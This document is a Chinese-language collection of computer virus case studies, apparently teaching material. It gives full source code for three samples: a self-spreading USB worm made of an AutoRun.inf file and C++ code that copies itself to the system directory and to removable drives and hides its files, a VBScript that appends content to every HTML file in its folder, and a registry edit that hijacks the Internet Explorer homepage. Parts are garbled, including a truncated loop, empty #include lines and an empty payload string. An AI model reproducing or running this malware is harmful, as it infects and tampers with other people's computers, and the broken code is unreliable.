计算机病毒案例
一、U 盘病毒
AutoRun.inf 文件
[AutoRun]
open=proj7_2.exe
shell\open=打开(&O)
shell\open\Command=proj7_2.exe
shell\explore=我的资源管理器(&X)
shell\\explore\\Command=proj7_2.exe
proj7_2.cpp
案例名称:U 盘恶意代码
程序名称:proj7_2.cpp
#include "stdafx.h"
bool SaveToFile(char* Path,char* Data){
HANDLE hFile;
hFile=CreateFile(Path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE){/*continue; //出错时处理*/} DWORD dwWrite;
WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL);
CloseHandle(hFile);
return true;
}
BOOL InfectU()
{
while(true)
{
UINT revtype;
char name[256]="H:\\" ;
char szName[256]={0};
char toPath[256]={0};
char infPath[256]={0};
char openU[80]={0};
//遍历所有盘符
for(BYTE i=0x42;i
{
name[0]=i;
//得到盘符类型
revtype=GetDriveType(name);
//判断是否是可移动存储设备
if (revtype==DRIVE_REMOVABLE)
{
//得到自身文件路径
GetModuleFileName(NULL,szName,256);
//比较是否和U 盘的盘符相同
//如果相同说明在U 盘上执行,复制到系统中去
if(strncmp(name,szName,1)==0)
{
//得到系统目录
GetSystemDirectory(toPath,256);
strcat(toPath,"\\proj7_2.exe");
//把自身文件复制到系统目录
if(CopyFile(szName,toPath,TRUE))
{
//运行程序
WinExec(toPath,0);
}
strcpy(openU,"explorer ");
strcat(openU,name);
//打开U 盘
WinExec(openU,1);
return 0;
}//如果不是在U 盘上执行,则感染U 盘
else
{
strcpy(toPath,name);
strcat(toPath,"\\proj7_2.exe");
strcpy(infPath,name);
strcat(infPath,"\\AutoRun.inf");
//还原U 盘上的文件属性
SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
//删除原有文件
DeleteFile(toPath);
DeleteFile(infPath);
//写AutoRun.inf 到U 盘
char* Data;
Data = "[AutoRun]\r\nopen=proj7_2.exe\r\nshell\\open= 打开 (&O)\r\nshell\\explore=我的资源管理器
(&X)\r\nshell\\explore\\Command=proj7_2.exe";
SaveToFile(infPath,Data);
//拷贝自身文件到U 盘
CopyFile(szName,toPath,FALSE);
//把这两个文件设置成系统,隐藏属性
SetFileAttributes(toPath,
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(infPath,
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); }
}
}
//休眠60 秒,60 检测一次
Sleep(60000);
}
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
InfectU();
return 0;
}
二、脚本病毒
案例名称:脚本病毒
程序名称:Misery.vbs
' 遇到错误继续执行
On error resume next
' 遇到错误继续执行
On error resume next
' 定义变量
Dim fso,curfolder,curfile
' 定一个文件操作对象
Set fso = createobject("scripting.filesystemobject")
' 得到当前目录
Set curfolder = fso.GetFolder(".")
' 得到当前目录的文件
set files = curfolder.files
' 文件的打开方式
Const ForReading = 1, ForWriting = 2, ForAppending = 8
' 向所有扩展名为htm/HTM/html/HTML 的文件中写代码
for each file in Files
if UCase(right(file.name,3)) = "HTM" or UCase(right(file.name,4)) = "HTML" then
curfile = curfolder & "\" & file.name
Set f = fso.OpenTextFile(curfile, ForAppending, True)
f.Write vbcrlf
f.Write ""
end if
next
f.Close
三、案例名称:浏览器恶意代码
程序名称:proj7_1.cpp
#include
#include
main()
{
HKEY hKey1;
DWORD dwDisposition;
LONG lRetCode;
//创建
lRetCode = RegCreateKeyEx ( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Main",
0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey1, &dwDisposition);
//如果创建失败,显示出错信息
if (lRetCode != ERROR_SUCCESS){
printf ("Error in creating key\n");
return (0) ;
}
//设置键值
lRetCode = RegSetValueEx ( hKey1,
"Default_Page_URL",
0,
REG_SZ,
(byte*)"http://www.sina.com.cn",
100);
//如果创建失败,显示出错信息
if (lRetCode != ERROR_SUCCESS) {
printf ( "Error in setting value\n");
return (0) ;
}
printf("注册表编写成功!\n");
return(0);
}